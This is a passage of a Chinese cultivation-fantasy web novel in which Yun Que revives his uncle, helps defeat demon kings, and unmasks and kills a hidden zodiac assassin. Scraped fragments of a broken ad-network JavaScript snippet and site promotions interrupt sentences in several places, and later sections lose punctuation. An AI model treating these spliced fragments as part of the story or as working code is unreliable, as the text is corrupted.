“此生作恶,此生消,还了这笔账,七叔再不欠世间任何人,走,也走得心安……” 云缺眼含热泪,哽咽着说不出话来。 从儿时开始,七叔,就被云缺当做自己的亲人。 失去父母的孤儿,能有位亲人,只有云缺自己才知道那是一种什么滋味。 就像一棵无依无靠的小草,长在了大树之下。 至少在风雨飘摇之时,头顶还有树叶遮挡。 别看云缺每次去庸医馆都大大咧咧,其实每次走进庸医馆的时候,云缺的心里都是暖洋洋的,有一种回家的感觉。 如今, 七叔即将生机耗尽,眼看着亲人死在眼前,这种感觉是云缺最不想体会的。 可是没办法, 七叔伤势太重,注定命归黄泉。 “咳咳咳……生肖,今晚来了五位,你要小心……” 七叔的声音越来越弱,大手越来越凉。 云缺猛然抬头。 五位生肖! 七叔是午马,鬼鸠是未羊,九笤原是申猴,闻香楼的主人是酉鸡,总共四人。 第五个生肖,又是何人? 云缺不等询问,七叔已经没有了气息,浑身冰冷。 吊着最后一口气,杨七古握紧了云缺的手,虚弱道: “拿着,这是七叔留给你最后的东西,九曲复命丹,有死而复生之力,能让你多一条命……呵呵,小子,七叔先走一步,来世……再……会……” 七叔的大手垂了下去,最后一口气随之消散,成了一具冰冷的尸体。 云缺的手里,多了一枚小巧的九彩丹丸。 那是七叔以本体药力凝聚的奇丹,最后的遗产。 “不……不!!!!!!” 云缺仰天大吼,却无力回天。 他知道,自己又该挖坟了…… 这辈子,到底还要埋多少人…… 我埋够了! 云缺瞬间清醒过来,咬牙切齿的掰开尸体嘴巴,将手里的九曲复命丹,给七叔塞了下去。 大殿里,安静无声。 云缺瞪着眼睛,盯着尸体的变化。 过了不久, 听到了心跳声,传来了呼吸声。 杨七古缓缓坐了起来,心窝的伤势在快速愈合,很快恢复如初,只剩下两道难看的刀疤。 安静的大殿里,叔侄两人你看我,我看你,大眼瞪小眼,互相瞪了半晌。 杨七古回头抄起一块砖头。 云缺撒腿就跑…… 第673章 你还会放鞭炮呢 “唉……” 杨七古无奈的叹了口气,道:“你小子,脑子里都装着些什么东西,给你留的遗产,你给我用上了,七叔活够了,只想安安静静死去,你偏得把我弄活过来,平白浪费了一粒天下奇丹。” “你活够了,是你的事!我不想我七叔死,是我的事!浪费就浪费,丹药不就是给人吃的嘛。”云缺理直气壮。 “你个混小子啊……”杨七古苦笑着摇头道。 本来都死了,杨七古都觉得拉住了楚红莲的手,两人在奈何桥上重逢,共赴黄泉。 结果还没下桥呢,又被云缺薅着脖领子给拽回了人间。 这种无奈的感觉,天下间怕是没人尝试过。 杨七古靠墙而坐,唏嘘道: “死而复生,修为尽去,救我回来根本没用,七叔已经是个普通人了,没有修为,多说在活个几年,有什么用呢,不值得。” “怎么不值!”云缺昂首道:“只要你没死,我就还有七叔!我不想当孤儿!等七叔老死那天,我高高兴兴,敲锣打鼓给七叔送终!” “你还会放鞭炮呢,再趁机收一波份子钱,我看得到身后事。”杨七古苦笑道。 “到时候我争取冲进三品甚至二品,最好能达到一品,这样天下高手都得来随份子,争取把七叔的灵丹钱赚回来,这样七叔就没白活过来,不赔嘿嘿。”云缺道。 “贫嘴……不过倒是个买卖。”杨七古哈哈大笑起来。 生离死别,变成了再次相逢,无论杨七古还是云缺,心里都充满了感慨。 “七叔怎么成了星辰殿的人?难道白玉城的庸医馆,专门为我而开,你的任务就是为了等我?”云缺道。 “庸医馆,是我谋生赚钱的地方,不是为了等你,那时候,七叔已经叛出了星辰殿,只是后来被鬼鸠找到,没办法,只能再次帮着星辰殿完成一次任务。”杨七古道。 “鬼鸠被七叔的大阵攻击,他会不会逃走?”云缺担忧道。 “那要看大秦太尉的本事了,葬魂大阵是七叔以全部力量布置,未必能完全击杀掉鬼鸠,不过将其重创绝对不难,如果龙桃抓住时机,有很大的机会杀掉鬼鸠。”杨七古道。 “那我去帮忙!”云缺道。 “不必了,你不 会神魂类的法术,帮不了大忙,鬼鸠的本体是魂类妖族,以你的力量很难伤到他,以我估计,鬼鸠被葬魂大阵重创,一定陷入龙桃的猛攻当中,如果有其他人出现,正好可以让鬼鸠藏匿元神,借机脱困。”杨七古道。 云缺点点头,放弃了去帮忙的打算。 不去的话,龙桃有很大机会击杀掉鬼鸠,自己去了,鬼鸠就多了一条逃生之路。 不如静待其变。 “七叔这次覆灭噬魂兽,救了天龙城满城百姓,相当于一场天大的功德,即便七叔以前做过恶,足以抵消。” 云缺一本正经的道:“如此一来,七叔以后给人看病,就可以要价高点,以七叔的本事很快就能积攒大量灵丹灵药,重拾修为。” “一把年纪,重新修炼的话,难啊。”杨七古叹气道。 说全网首发无弹窗免费阅读qiexs.com?(请来企鹅小 说 看最新章节 完整章节) “我相信七叔的天赋,我这里的丹药先给七叔用着,等七叔恢复修为,记得多给那些高手看病,要天价,反正他们都有钱。” 云缺说着将储物袋里的丹药倒出来一大堆,也不分类,全都交给七叔,反正灵丹有的是,大多云缺都用不上。 “用不了这么多。”杨七古道。 “用得到,多余的当饭吃,咱又不穷,我相信七叔以后肯定会赚得更多,反正你就我一个侄子,你死了,遗产还不是都归我……”云缺吐露心声。 杨七古听得哭笑不得。 “对了七叔,先看看这家伙有没有救。” 云缺才想起来白无缺,急忙从背后将婴孩拿下来。 杨七古把了下脉,道: “没有大碍,尽快离开此地即可,这孩子是……” “我表弟,一会儿送他回家,他娘肯定到处找他呢。”云缺道。 “好强的生命力,这孩子应该天赋极高,以后,定是位世间强者。”杨七古赞了一句。 云缺大为佩服。 还是七叔有眼力! 地宫里空气沉闷,毒气未散,云缺不在久留,与七叔返回地面。 “七叔,这次奇袭天龙城,除了午马未羊,申猴酉鸡之外,第五个生肖高手是谁?”云缺问道。 “不清楚,殿主的安排,向来神秘,我与未羊一组,负责除掉太尉龙桃,其他人有各自的任务。”杨七古道。 “申猴在闻香楼坐镇,酉鸡不知去向,这么说,酉鸡与另一个生肖高手,一个在皇宫,一个在丞相府。”云缺道。 “未必,也许那两人在同一个地方。”杨七古沉声道:“这次除了五位生肖高手之外,万妖国还派来了七头三阶妖王助战,殿主对拿下天龙城势在必得。” “七头妖王,这么多啊。”云缺咂舌道。 星辰殿果然强大,一次派出五位生肖高手外加七头三阶妖王,以云缺估计,要不是自己误打误撞返回大唐搬兵,天龙城怕是难保。 即便加上七叔以葬魂大阵困死了未羊,此番恶战仍旧胜负难料。 孔气气前往丞相府,若能与左兰山联手,破局不难,可若是七头妖王全在丞相府,就不好说了。 毕竟左兰山刚刚被重创,又送出了决云剑,本身无法发挥出全盛时期的大儒战力,最好的情况是战力打折,能用出一半力量。 灵匠殿先生的修为,云缺估计在三品程度,左兰山与孔气气对付七头妖王,并不容易。 忆白龙对战申猴,正常情况应该能胜出,但是申猴那家伙是生肖高手中唯一能与殿主沟通的人物,如果星辰殿的殿主真身出现,那么今晚的局面就彻底胜负难料了。 让云缺最为担心的是皇宫。 酉鸡在闻香楼与百花楼布局多年,如果在皇宫发难,必定有所准备,也许酉鸡本身就在皇宫里有着明面上的身份。 之所以如此猜测,是因为云缺见识过燕太子的手段。 星辰殿的生肖高手,无论修为还是心智,必定在燕无鹰之上。 “明枪易躲暗箭难防,第五个生肖高手才是最 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大的隐患,不把他揪出来,所有人都有危险。”云缺冷声道。 “星辰殿擅长布局,草蛇灰线,云缺,你若想帮助秦皇扭转局势,一定要做到知己知彼,切勿相信任何人。” 杨七古望着不远处黑漆漆的城墙,沉声道:“这座城里的所有人,都有可能是第五个生肖,千万别大意。” “我会小心的七叔,对了,七叔见没见过星辰殿的殿主,那家伙到底什么何方神圣。”云缺问道。 “没见过,生肖高手在平常都可以自由行动,发布任务的时候,殿主会以虚影传音的方式告知,我只知道申猴有着与殿主 沟通的能力,除了申猴之外,应该没人知道殿主的真身。 杨七古肃然道:“今天能一次调集万妖国的七头妖王,殿主与那万妖国一定关联颇深,如果你想寻找线索,万妖国是一个方向。 “有机会我会去走一趟,星辰殿的殿主我必亲手杀之! “可惜七叔帮不了你什么,这些年我一直在猜测殿主真身的情况,我发现一个奇怪的地方。杨七古道。 “七叔发现了什么,快告诉我。云缺追问道。 “殿主,从未在任何人面前展现过真身,我估计,他应该有些不为人知的弱点,碍于某种力量而无法亲自动手,否则今天这种情况,殿主应该亲临,到时候天龙城将彻底覆灭,毫无悬念。杨七古道。 云缺其实也有这种猜测。 随着与星辰殿的接触越多,逐渐印证。 巫神降临这种大事,殿主没出现。 覆灭天龙城这种大事,殿主也没出现。 云缺实在想不出,天下间还有什么事,会比超品残魂与云州第一强国更重要。 无论哪件事成功,云州的格局将被彻底改写。 而奇怪的是,如此重要的节点,星辰殿之主依旧躲在幕后,不肯现身。 如果说那殿主忌惮着世上的强者,还有情可原,但是已经算得上天下第一了,除非超品,否则再无任何对手可言。 连对付秦皇都不来,可见星辰殿的殿主一定有着某种不可告人的弊端。 关于神秘的星辰殿,云缺无法一时猜到真相,算算时间差不多了,将白无缺交给七叔。 “七叔你在这等着,我下去看看情况。 原路返回,直抵地宫三层。 等到了地宫三层,云缺眼前是惊人的一幕。 空气中漂浮着成千上万的黑色虚影,如同鱼群般密密麻麻,起起伏伏。 这些黑影全都是噬魂兽,无一存活,尽数被葬魂大阵灭杀,剩下的只是空空的躯壳,随着时间流逝会慢慢消失。 太尉龙桃跪坐在大殿中心,大口喘气,脸是黑的,好像刚从灶台里钻出来似的。 在龙桃旁边,倒着一具高大的尸体。 未羊鬼鸠,已经被击杀,本体遍布着龟裂,身体几乎要消散。 谨慎起见,云缺运转妖瞳,扫视着大殿之内,寻找着活着的魂体。 除了龙桃,这里再无活物。 “太尉,伤势如何! 云缺几步来到近前,说着关切的话语,手里的妖刀却直接架在龙桃脖子上,道:“用一句话,证明你是太尉。 第674章 阁下贵姓 云缺不得不谨慎。 噬魂师的可怕,他领教过了。 鬼鸠那种异兽,最可怕的不是法术,而是强大的元神,完全可以侵入龙桃识海,鸠占鹊巢,夺舍而生。 龙桃抹了把脸上的黑水,眨了眨眼睛,道: “决云剑,多借我两天。” 云缺收回妖刀,这么不要脸,肯定是太尉本人。 “太尉好手段,击杀未羊定是大功一件,陛下封赏的时候,太尉别忘了我的功劳。”云缺打趣道。 “放心,有你小子一份,咱们联手杀的强敌。” 龙桃晃晃悠悠站起来,道:“他娘的,这家伙太不好对付,弄了一大堆噬魂兽在这里埋伏我,幸好你小子在上面砸下个法阵,要不然我这条命容易交代在这,武夫的元神实在是弱点。” “能赢就好,其实大阵不是我弄的,是我七叔专门为击杀未羊所设的葬魂大阵。”云缺道。 “你七叔?谁呀,这么厉害!”龙桃道。 云缺大概解释了一下,得知七叔就是午马,龙桃差点惊掉了下巴。 “午马杀未羊,好!这反转我做梦都想不到,看来星辰殿离心离德早晚会分崩离析!算计我们大秦,该着他们死翘翘!我大秦气运千年不衰,岂是星辰殿可以比拟!我大秦气运万古长存,连绵不绝……” 龙桃心情大好,正说着呢,一扭头,发现云缺正蹲在未羊的尸体旁,一手抓起了储物袋,一手扒下了紫袍。 储物袋直接揣怀里,紫袍披在身上,整套动作行云流水,不带半点拖延。 龙桃大呼倒霉,自己拼死拼活干掉了强敌,结果人家云缺打扫了战场,手脚这个麻溜,毛儿都没给他这位太尉留。 回到地面,云缺与七叔汇合。 白无缺仍旧没醒,不过气息顺畅了许多,云缺只能将其留给七叔照看。 龙桃身上没什么伤势,二品不灭武夫,多重的伤都可恢复,他伤在了元神,此刻极其虚弱。 “太尉留在城外修养,我去城里帮忙。”云缺道。 “我也去!区区神魂伤势而已,老夫还有再战之力!” 龙桃为了显示自己的战力,踏空而起,刚迈出两步就摔了下来,脸着地。 “太尉还是好好休息,等恢 复一些再进城,我一个人行动方便,带着老弱病残太麻烦。云缺道。 龙桃气得胡子直翘,道: “你小子就不能说得委婉点!我这就成老弱病残了? “还不是太尉教的,咱们武夫,直来直往嘛。云缺哈哈一笑,道:“七叔,太尉,你们可别打架啊,我去也! 脚踏虚空,云缺越过城墙。 “哎,老喽…… 龙桃望着云缺远去的背影,长叹一声盘坐在地,服用丹药开始疗伤。 元神的创伤,绝非短时间内可以治愈,龙桃知道今天自己怕是帮不上什么忙了。 皇陵外的丛林内,杨七古与龙桃各自盘坐在一棵树下,谁也不言语,气氛有些尴尬。 之前还是生死大敌,现在一起疗伤成了病友,两位老者在尴尬之余,也在感慨着命运的奇异。 沉默的气氛持续了良久。 龙桃忍不住了,开口道: “阁下,尊姓大名? “杨七古。 “哦,你孙子长得不赖,白白胖胖的,招人稀罕,叫什么名字? “呃……没取名呢。 “快一岁了吧,还没取呢,得抓紧了,看这孩子一脸富态相,肯定什么都不缺,叫杨无缺好了。 “再说,名字再说吧。 接下来又是长久的沉默。 “对了,阁下贵姓? “杨七古…… “哦这名字有点耳熟,我刚才是不是问过了?不妙啊,伤势有点重,可能伤到脑子了…… …… 再次返回天龙城,云缺发现大雾变得稀薄起来,雾气中时而有细微的尖锐嚎叫声出现,声音很小,普通人根本听不见。 那是噬魂兽被毒杀后的叫声。 天边已经泛白,城中的所有噬魂兽迎来了灭亡之时。 云缺此时底气变得十足。 皇陵之行,不但解决了未羊,午马原来是七叔,星辰殿一下子少了两位生肖高手。 现在皇城里,只剩下三名生肖高手。 闻香楼暂时不用帮忙,唐皇的后续人马应该就快到了。 云缺能料定唐皇肯定派遣重兵,因为白无缺被自己掠来了,可以说得上一箭双雕 。 既借用转世佛陀的力量,再断了唐皇后路,云缺就不信唐皇会不担心小儿子的下落。 只是可怜了兰妃,肯定在后宫担惊受怕。 在皇宫与丞相府之间,云缺选择了后者。 皇宫肯定最为凶险,现在云缺身边没有帮手,最好先汇合左兰山与孔气气。 破军强者的速度,堪称风驰电掣,不久后,云缺再次来到丞相府。 这次不再通报,直接翻墙而入。 来到后院,看到老管家正在围着大坑转圈,拉磨的驴子似的,转了一圈又一圈,踩出了一圈深深的脚印。 看到云缺去而复返,老管家老泪横流抓着云缺不放手。 “驸马呀,你不能不管呀,我家大人到底怎么样了,这里太深,我下不去呀。 “刚才有没有人来过? “有!有个小女娃,扛着个大铜锤,问我这里是不是丞相府,我说是,她说好,然后就跳下去了,现在还没出来呢! 得知孔气气抵达,云缺放心了一些。 灵匠殿先生即便与左兰山不对付,好歹不算仇人,不会对左兰山下手。 云缺来到大坑旁边,朝下看去。 深不见底的大洞里,传来浓郁的血腥气。 侧耳倾听,有妖兽嘶吼的动静,还不止一头妖兽。 云缺抓出妖刀,朝那老管家道: “你作证,我今天舍死忘生去救丞相,这份人情,左大人可不能忘。 “放心!驸马爷放心!老仆给驸马爷作证,驸马爷义薄云天,我们丞相府欠驸马爷一份人情!我家大人肯定记着救命之恩! 云缺满意的点点头,纵身跃进大坑。 第一次来的时候,这里的确是个坑,但现在不同了,有了灵匠殿先生先行一步,云缺现在下去就安全多了。 大坑极深,足有千丈! 云缺控制着气机,在脚下不断凝聚阶梯,快速下降。 很快,云缺落地。 妖瞳转动,所见之处是一片宽敞的地底空间。 七头形态不同的庞然大物,正在围攻左兰山与孔气气。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 七头妖兽均有三阶妖王之力,不过全都伤痕累累,其中有三头在勉强作战,距离死掉已经没差多远。 妖王的伤势都很重,左兰山与孔气气也没好哪去。 两人灰头土脸,身上大小伤痕无数,抵背而战,玩命的施展法术。 一边施法还在一边斗嘴。 “左老头你说不说!到底五彩石在哪里挖的,我帮你到现在已经不错了,你就一点不感恩吗!” “我说什么!哪有五彩石!谁要你帮忙,你大可一走了之!对付几头妖王而已,老夫一人足以!” “得了吧!瞧你累得都快虚脱,还吹牛呢,要不是我帮忙,这些妖王能把你撕碎吃掉!快说,我要五彩石做报酬!” “说了没有!你要我说几遍!” “还骗我!没有五彩石,你能挖这么深的大坑!你肯定挖到了不少,想独吞!” “我吞个屁!这里是我家,你见谁在自己家里挖大坑的!你到底从哪听到的消息,哪个混蛋说我家里有五彩石?” “那你别管!反正我有确凿消息,你这里就有五彩石!不分我一半,我帮着这些妖王打你!” “好好好,你要五彩石是吧,这里全归你,家我也不要了,你随便挖!挖出来多少五彩石全是你的!” “好哇!一言为定,不许耍赖,谁反悔谁是小狗!你要是反悔不仅是小狗,你还得改姓,以后就叫你右兰山!” 云缺也不敢笑,只能装作没听到。 灵匠殿先生太实在,说什么还真信呐。 抓起妖刀,云缺加入战团。 今晚始终没机会全力出手,这次云缺动了真格,妖力暴起之下,战力直接逼近三品程度。 有云缺助战,左兰山与孔气气看到了机会,两人联手之下,一口气将三头重创的妖王灭杀。 随后三人面对四头妖王,战局立刻开始倾斜。 不到半个时辰,又有两头妖王被杀。 这两头妖王死得挺惨,要害处被重创而亡,全是云缺下的黑手。 斩妖这种事,云缺才是内行。 只要分辨出妖王的种类,云缺即可确定对方的要害,斩妖多年的经验可不是白玩儿的。 紧接着又一头妖王被左兰山的大儒经重创,孔气气一锤砸碎了妖王的脑袋。 别看是老对头,配合起来天衣无缝。 最后一头妖王最为难缠,是一种冰雪怪物,如同巨熊,外伤几乎无效,只能以火焰法术对付。 这种冰雪妖王,云缺基本没辙,无论妖刀砍掉多少冰块,对方都能在短时间内凝聚出新的冰雪填补。 发现砍不动,云缺直接不打了,退在后面观战。 左兰山与孔气气联手施展出狂暴的火焰法术,不断融化着最后一头冰雪妖王。 终于, 妖王扛不住了,庞大的躯体坍塌开来,融化的冰雪形成一片水池。 “赢了!哈哈,我老人家出手,百战百胜!” 孔气气挥舞着巨大的铜锤,蹦蹦跳跳十分开心。 左兰山刚要开口,忽然脸色一变。 哗啦!! 水声响动,冰雪怪物居然没死透,融化的水体形成一圈气泡般的牢笼,将左兰山与孔气气困在其中。 你身边有不少朋友还没看到本章呢,快去剧透一下,他们会很崇拜你的 第675章 一品之力 三阶妖王化作的气泡,看似单薄,实则蕴含着强烈的水灵之力。 孔气气以大锤连轰数次,除了将气泡砸得变形之外,毫无用处。 云缺在外面以妖刀劈斩,一样没用,根本砍不开。 左兰山道: “这是冰水之灵,外力很难破开,必须一点点炼化才能脱困,云缺你先走,去别处帮忙。” 云缺不在耽搁,道了声好,跃出大坑。 左兰山与孔气气没有危险,只是暂时被困难以脱身。 回到地面,云缺有点为难起来。 皇陵与丞相府都去了,一个救兵没搬来,自己还是孤身一人,连白无缺都留在了城外。 今天的气运这么诡异呢。 下一站,云缺抵达了皇宫门口。 没人。 偌大的皇宫里鸦雀无声,漆黑一片。 皇后长孙至清不知去了何处,百名家仆也毫无踪迹。 “人呢……” 云缺停步在皇宫大门外,妖瞳动用之下,观察着大门里的黑暗。 天龙城其他地方已经没了大雾,而皇宫里仍旧迷雾重重。 “很强的法术气息,好像是幻术类,我看不透。” 月魁的声音响起在耳畔。 云缺略一思索,改路前往闻香楼。 如果没有第五个生肖高手,云缺肯定先去皇宫,只要能让秦皇脱困,即可稳定大局。 既然丞相府里没有生肖高手,而是七头大妖,那么皇宫里肯定有两名生肖高手存在。 云缺隐约有一种预感,皇宫里的危机,比自己想象的还要可怕。 最好能带着强援一起前往。 闻香楼没了客人,空荡荡略显冷清。 云缺来到天字一号房门前,换上未羊的紫袍,将兜帽压到最低,遮住了面孔。 推门而入。 门外毫无声息,门内则是冰天火地! 忆白龙与九笤原仍在厮杀。 九笤原脑后的替身蛊已经用尽,身上遍布伤口,形若疯魔,怪叫不断,看似施展的法术磅礴惊人,实则到了强弩之末。 忆白龙以白龙剑猛攻不断,越战越勇,宛如战神。 禁锢的法阵当中,九笤原再如何强大,只要他 没达到一品就是不灭武夫的活靶子! 云缺进门后身形晃动以影步挪移到九笤原身旁面朝着忆白龙摆出攻击架势。 影步在施展之初与法术挪移极其类似九笤原一时没能察觉加上云缺穿着紫袍被他误以为强援来临。 “怎么才来!速速与我联手灭掉此人!” 九笤原精神大振掐动法咒要施展出强力巫法。 噗!!! 漆黑的妖刀从九笤原心窝处透出。 “你不是喜欢吃心么要不要尝尝自己的心脏是个什么滋味。” 云缺摘下兜帽冷笑道。 九笤原的脸色变成苍白如纸不可置信的盯着云缺道: “怎么可能!你居然杀了未羊!” “是啊殿主下令下一个宰你!” 云缺单臂震荡出破军之力妖刀上爆发出狂暴的刀气直接将九笤原心脉搅碎! 九笤原踉跄着跌倒在地艰难的指着云缺道: “你……你不得好死!殿主会杀了你!” 云缺冷声道: “好哇让他来杀我试试。” 九笤原喷出一口鲜血就此咽气仍旧死不瞑目般瞪着云缺抬起的手指诡异的不肯垂下。 云缺本想一刀斩下九笤原抬着的手忽然一种心悸的感觉袭来浑身汗毛炸立而起! 呼!!! 九笤原的手指忽然膨胀这只手变成了百倍大小形成巨大的手掌抓向云缺! 云缺眼睁睁看着巨手抓来却动弹不得一股神秘的力量将他禁锢在原地。 这种力量云缺曾经感受过在巅峰程度的秦皇身上。 一品之力! 嘭! 电光火石之间云缺只觉得眼前一花身体被撞飞出去砸在墙壁。 等云缺回头一看忆白龙正被大手抓住! 武威王为了救下云缺不惜自己陷入绝险之境! “皇叔!” 嘭!!! 巨手猛然捏紧 巨手的力量有限捏紧一次后随之消失九笤原的手终于无力的垂了下去彻底死绝。 但是忆白龙也瘫软在地奄奄一息。 云缺几步冲到 近前。 略一查看不由得心头发沉。 忆白龙浑身骨骼全部碎裂成齑粉连五脏六腑都被捏爆了心脏几乎干瘪! 如此重创二品不灭也扛不住。 “星辰殿!”云缺捏起双拳。 显然九笤原在将死之际召唤来了殿主的力量那只大手就是星辰殿之主的手! 一只手即可动用一品之力可见星辰殿的主人至少在一品甚至有可能达到超品! 这时暗门开启。 大唐宰相吴尔智当先走了出来身后是源源不断的天策司精锐高手。 “武威王!” 吴尔智一眼看到重创的忆白龙顿时惊呼一声。 “伤得这么重莫非有一品高手!”吴尔智忌惮不已急忙吩咐道:“快送武威王回大唐救治!” “不回大唐去城郊!”云缺背起忆白龙顺手摘了九笤原的储物袋直奔皇陵。 吴尔智不明所以 “七叔!看看这个还有救吗!” 云缺将忆白龙放下担心不已。 杨七古没有了修为无法以灵识感知只能用诊脉的手段查看高深的医术让他立刻判断出对方的伤势。 “筋骨尽毁脏器崩坏若非二品必死无疑。” 杨七古沉声道:“幸好是不灭武夫只要剩一口气就有机会活过来需要开膛破肚将他受创的脏器缝补修复他才能以不灭天赋慢慢复原。” 云缺终于松了口气道:“七叔受累了这位是大唐武威王忆白龙我皇叔七叔帮忙好好缝一缝。” “放心即是修为不在至少医术还在。” 杨七古将怀里的孩子交给龙桃取出随身携带的刀具针线开始动手先切开忆白龙的肚皮现出破碎的脏器与碎骨。 如此血腥惊人的画面看得旁边的龙桃都直皱眉吴尔智更是一个劲儿反胃。 七叔从来不说大话云缺知道武威王这条命保住了。 云缺拍了拍白无缺的小脸道: “还没醒?这么弱呢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 龙桃抱着孩子直往旁边躲不满道:“哪能拍脸呢这么小的娃娃可别拍坏了你不要给我我 当孙子养。” 吴尔智在旁边冷声道: “你未免口气太大了我大唐皇子岂能给你当孙子!” “大唐皇子算个球!大秦皇子见到老夫也得施礼 “放恣!粗鄙的武夫你才没儿子!老夫乃大唐宰相!”吴尔智气哄哄的道。 “老子还是大秦太尉呢!大唐的老杂毛敢来天龙城信不信我揍你!”龙桃骂道。 眼看两人要打起来云缺急忙拉架。 “这时候就别斗嘴了大家都是自己人七叔这边太尉帮忙看着点我去皇宫。” 云缺说完拉着吴尔智又返回皇城。 天策司来的高手不少将皇宫团团围住严阵以待。 皇宫大门洞开着里面仍旧声息皆无。 吴尔智紧锁双眉道: “吉王可知里面是什么情况。” “不清楚皇后应该在皇宫里估计陷入法阵当中宰相大人可有办法。”云缺道。 “办法只有一个。”吴尔智一挥手当前大步迈入大门:“硬闯!” 天策司的高手得到命令有上千人腾空而起跃进皇宫。 下一刻 无论迈入大门的吴尔智还是千名天策司全部消失了踪迹犹如凭空蒸发! 后面还有大量天策司准备强闯云缺急忙喊停。 一股脑儿的冲进去所有人都陷入法阵岂不是飞蛾扑火。 让天策司剩余的高手守在门外云缺一步踏入皇宫。 不进不行了。 从皇陵到丞相府再到闻香楼三个地方的危机虽然解除但太尉、丞相与武威王也失去了战力难以相助。 到最后还是云缺孤身一人。 此时天已经大亮然而走进皇宫之后云缺发现仍旧是夜晚。 皇宫之内仿佛成为了另一片世界。 回头看去大门外空空如也天策司的高手们不见了身影。 “好强的法阵……” 云缺加上了万分谨慎再次扣上兜帽朝着金銮殿行去。 行走间一袭紫袍随风摆动。 云缺并未察觉到在最下侧的衣角处一道极其晦涩的黑芒一闪而逝。 从皇宫大门到金銮殿这条路云缺走过多次轻车熟路可今天却走得无比漫长好像没有尽头。 路上没有任何人影四周的草木在夜风中微微晃动。 皇宫里充斥着诡谲而压抑的气息。 云缺不由得加快了脚步妖气开始起伏。 走了足足一盏茶的时间终于看到金銮殿的轮廓隐隐约约被大雾笼罩。 让云缺诧异的是一路上居然没有任何伏击。 怎么回事…… 单纯困人类的法阵即便威力再如何强大早晚有崩塌的时候。 云缺想不通为何笼罩皇宫的大阵如此诡异。 脚下再次加快云缺疾行如风。 眼看着距离金銮殿越来越近。 忽然间云缺目光一动在妖瞳的视觉下居然看到了一个人。 此人也急匆匆的往金銮殿赶满头大汗。 云缺几步追了上去摘下兜帽探手抓住对方的肩膀。 第676章 外面的世界很危险 “暑大人,这么急要去哪。 云缺追上的是位熟人,少府属官暑夜初。 暑夜初被吓了一跳,停下脚步回头见是云缺,长吁一口气,指着手里的奏折道: “驸马爷啊,我以为是谁呢,陛下有旨,命我将昨日的奏折取来。 “昨天的奏折出了什么问题?云缺与对方并肩而行。 “听说有道奏折涉嫌欺君!具体是谁我们少府也不清楚,只知道陛下龙颜大怒,估计这次肯定有人头落地。暑夜初压低了声音道,生怕被人听到似的。 “陛下什么时候下的旨意。云缺问道。 “半个时辰前的事了,我们少府忙活到现在刚把昨天的所有奏折翻找出来。暑夜初道。 “陛下在何处。云缺道。 “御书房呢,陛下命我等将奏折放在金銮殿即可,到了。 暑夜初说完,两人已经来到了大殿门口。 “怎么没人呢,守卫哪去了?暑夜初四下看了看,疑惑道。 金銮殿大门关着,门口一个人影都没有。 “皇宫恐怕出事了,先进去瞧瞧,没人的话咱们立刻去御书房。云缺说着推开大门,当先走了进去。 “好,听驸马爷的安排。暑夜初跟着走了进去。 就在暑夜初一脚门里,一脚门外的时候,走在前面的云缺突然反手一刀! 这一刀直奔暑夜初的心口。 暑夜初大呼一声,急忙以奏折抵挡,妖刀轻易穿透了奏折,结结实实扎在他的心窝里。 但是没扎透! 暑夜初前心浮现出一道豪光,挡下了妖刀。 “驸马这是何意!暑夜初大惊失色。 噗!! 在暑夜初背后,第二个云缺出现,第二把妖刀捅进了暑夜初的后腰。 暑夜初脸色大变,呕出一口鲜血,带着不可置信的目光盯着云缺。 “暑大人,演技不错,蛰伏于天龙城多年,你就等着今天呢。 云缺冷声道:“第五位生肖,就是你,子鼠! 暑夜初大喊道:“什么子鼠?我是少府属官啊,咱们有交情啊驸马!你怎么对我下手!我对陛下忠心耿耿,毫无二心啊! “行了,别演了 ,你们星辰殿的恶趣味,总喜欢将名字与生肖有所关联,暑夜初,鼠,夜出。” 云缺冷笑道:“十二生肖算来算去怎么都不对,后来我才想通,秦皇已经不再是子鼠,那么就应该有人接替子鼠之位,最好能潜伏在秦皇身边,等到机会痛下杀手。” 暑夜初的神色变幻了一下,突然爆发出三品程度的灵气,将后腰的妖刀震开。 他的身形往后挪移数丈,与云缺拉开了距离,身上出现了一件紫袍,袖口绣着‘子’字。 “好一个驸马,好狠的心!你就不怕杀错人!”暑夜初狰狞道。 “无所谓,杀错了,死个少府属官而已,杀对了,就能宰个生肖高手!” 云缺再次多出两道影身,将暑夜初的前后左右全部封住。 “冷血之辈,你这种人与妖族有何区别,与我们星辰殿又有何区别。”暑夜初按住后腰,以灵力将伤口封住。 三品强者,肚子被来一刀不算致命。 “区别大了,我用的是脑子,而你没有。” 云缺冷笑道:“你的演技还是不行,你有破绽,太明显了。” “不可能!我若有破绽,秦皇早会对我下手!”暑夜初道。 “以前是没有,连我都被你骗了,不过今天有了,你本来从金銮殿往外走,发现我过来,你转身改变了方向,装作往金銮殿走,让我误以为你给秦皇送奏折。” 云缺摇头叹息道:“可惜,路上没有你的脚印,既然我能在皇宫里看到你,说明我们在法阵的同一个区域,你来说说,你从皇宫大门走到金銮殿的脚印,哪去了呢。” 暑夜初的神色狰狞起来,怒道: “这么点线索你都能察觉到,算你有本事!不过没关系,以你的修为,杀不掉我,只要我不死,皇宫内的法阵就永远不会消失,进来多少人都会被困死于此!” 风声大起! 暑夜初周身出现狂风,他乘风而上飞到半空,狂笑着就要远去。 风遁之法,武夫是追不上的,云缺只能眼睁睁看着子鼠逃走。 这时忽然一道惊雷炸起,从天而落,不偏不倚,炸起在暑夜初头顶。 轰隆隆!!! 刺眼的白光在半空铺开,驱散了大片迷雾。 在云缺 不远的地方长孙至清的身影浮现而出这位大唐皇后掐动剑诀只见惊雷中出现一柄幽蓝的宝刃。 这把长剑与雷光融为一体从暑夜初的头顶穿了进去将其一分为二! 扑通扑通。 两半尸体掉落在地。 新一任的子鼠刚刚出场就被斩杀于此。 云缺大为意外并且对皇后的手段暗挑大指这位大唐皇后可比唐皇狠多了。 长孙至清抬手召回长剑冷哼道: “千幻之阵果然难缠既然破绽已出阵主则亡 长孙至清陷入法阵中始终全力以赴催动剑诀就等着大阵出现一个破绽如今云缺重创了子鼠她这一剑正好发挥出最大的威能。 长孙至清一扭头发现云缺正在子鼠的尸体旁往自己兜里揣储物袋呢。 